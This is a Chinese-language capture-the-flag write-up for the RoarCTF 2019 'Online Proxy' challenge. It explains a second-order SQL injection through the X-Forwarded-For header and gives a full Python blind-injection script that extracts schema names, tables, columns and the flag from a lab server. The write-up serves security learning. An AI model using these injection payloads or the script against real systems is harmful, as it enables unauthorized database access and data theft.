[RoarCTF 2019]Online Proxy
阿新 • • 發佈:2020-12-27
知識點
- 二次注入
WP
這題挺坑的點就是會被誤以為是SSRF,我就陷在SSRF裡出不來了。
看了WP,發現是SQL二次注入。
根據f12,看到有這個:
根據當前和之前ip的顯示,猜測是把ip存到了資料庫中,因此通過更改x-forwarded-for可以有不同的回顯,而且先注入0' or length(database())>0 or '0
,然後再請求2次x-forwarded-for為1,這時候回顯出來的Last Ip居然是1,因此判斷存在x-forwarded-for的二次注入。
但是這題是有hint的,也就是flag不在當前的資料庫中,在其他的資料庫。因此還有多一次把所有資料庫爆出來的操作,最終的指令碼如下:
import requests
url='http://node3.buuoj.cn:29700/'
flag=''
for i in range(1,100):
length=len(flag)
min=32
max=125
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
#爆表
#payload1="0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),%d,1))<%d or '0"%(i,j)
#爆庫
#payload1="0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))<%d or '0"%(i,j)
#爆列
#payload1="0' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e'),%d,1))<%d or '0"%(i,j)
#爆flag
payload1="0' or ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),%d,1))<%d or '0"%(i,j)
payload2="1"
headers={
"x-forwarded-for":"",
'Cookie': 'PHPSESSID=96usdssv1f1mb25egjtbbt1rm5; track_uuid=a3b23c2c-7dfd-4687-de95-87f9583070ac; IS_STATIC=1'
}
headers["x-forwarded-for"]=payload1
r=requests.get(url=url,headers=headers).text
#print(r)
headers["x-forwarded-for"]=payload2
r=requests.get(url=url,headers=headers).text
#print(r)
r=requests.get(url=url,headers=headers).text
#print(r)
location=r.find("Last Ip: ")
number=r[location+9:location+10]
if '1' in number:
max=j
else :
min=j
還需要注意的是,這題還必須要把cookie傳過去,不然不會回顯Last Ip。